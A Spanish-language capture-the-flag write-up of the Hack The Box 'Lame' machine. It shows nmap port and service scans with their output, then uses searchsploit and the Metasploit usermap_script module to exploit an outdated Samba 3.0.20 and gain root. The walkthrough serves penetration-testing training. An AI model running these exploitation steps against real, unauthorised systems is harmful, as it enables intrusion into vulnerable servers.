En el presente desafío, abordaremos la máquina “Lame” de Hack The Box. En este escenario, aprovecharemos una vulnerabilidad en el servicio Samba para comprometer la seguridad del sistema. La explotación se llevará a cabo mediante una versión desactualizada de Samba, que servirá como punto de entrada para obtener acceso a la máquina mediante el uso de Metasploit. Este enfoque estratégico nos permitirá penetrar la infraestructura de la máquina de manera efectiva y llevar a cabo las acciones necesarias para cumplir con los objetivos del reto.
Escaneo de puertos
Primero que todo hacemos un escaneo de puerto con nmap a los puertos abiertos con los siguientes parametros:
-p- : Escanear todos los 65353 puertos que existen
-Pn : Sirve para decirle a Nmap que el host destino si esta arriba
–min-rate 5000 : Lo que hace este parámetro de nmap es controlar el numero mínimo de paquetes por segundo que se enviara durante el escaneo
nmap -p- -Pn --min-rate 5000 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-28 14:06 EST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 26.19% done; ETC: 14:07 (0:00:20 remaining)
Nmap scan report for 10.10.10.3
Host is up (0.55s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 28.70 seconds
ahora que ya tenemos el numero de puertos abiertos lo que hacemos es ejecutar los scripts de nmap para validar el servicio que está corriendo en cada puerto, el comando nmap consta de los siguientes parametros:
-p : Con este parámetro especificamos que puerto vamos a escanear
-sCV: Con este parámetro hacemos que nmap ejecute algunos scripts para saber qué tipo de servicio está corriendo en el puerto
-A : Nos sirve para obtener una detección de servicios y sistemas operativos
nmap -p21,22,139,445 -sCV -A -Pn 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-28 14:19 EST
Nmap scan report for 10.10.10.3
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.64
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.23 (92%), DD-WRT v24-sp1 (Linux 2.4.36) (90%), Arris TG862G/CT cable modem (90%), Control4 HC-300 home controller (90%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (90%), Dell Integrated Remote Access Controller (iDRAC6) (90%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (90%), Linux 2.4.21 - 2.4.31 (likely embedded) (90%), Linux 2.4.27 (90%), Linux 2.4.7 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2024-02-28T14:19:59-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h30m08s, deviation: 3h32m11s, median: 5s
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 137.91 ms 10.10.14.1
2 154.59 ms 10.10.10.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.65 seconds
Como podemos ver en el resultado del escaneo nos devuelve diferentes servicios , despues de revisar mucho notamos que el puerto 445 Esta corriendo una versión de samba vulnerable .
searchsploit samba 3.0.20
teniendo en cuenta esto nos listará las vulnerabilidades que se encontraron para este servicio y cómo podemos ver en metasploit existe un módulo que nos permite obtener una ejecución remota de comandos RCE.
por ende, lo que haremos es abrir metasploit para poder explotar esta vulnerabilidad
service postgresql start && msfconsole
y buscamos algún modulo con la versión de samba
msf6 > search samba 3.0.20
por ende utilizamos el módulo resultante
msf6 > use exploit/multi/samba/usermap_script
con esto cambiamos el rhosts y lhost y ejecutamos el exploit
exploit
ya con esto tendríamos acceso al servidor como root
con esto obtenemos las dos flags en los siguientes directorios
/home/makis
/root
Referencias
para buscar alguna vulnerabilidad utilizamos la herramienta de searchsploit que nos ayuda a buscar exploit de la pagina , teniendo en cuenta esto lo que podemos hacer es utilizar el siguiente comando para buscar algún exploit en este.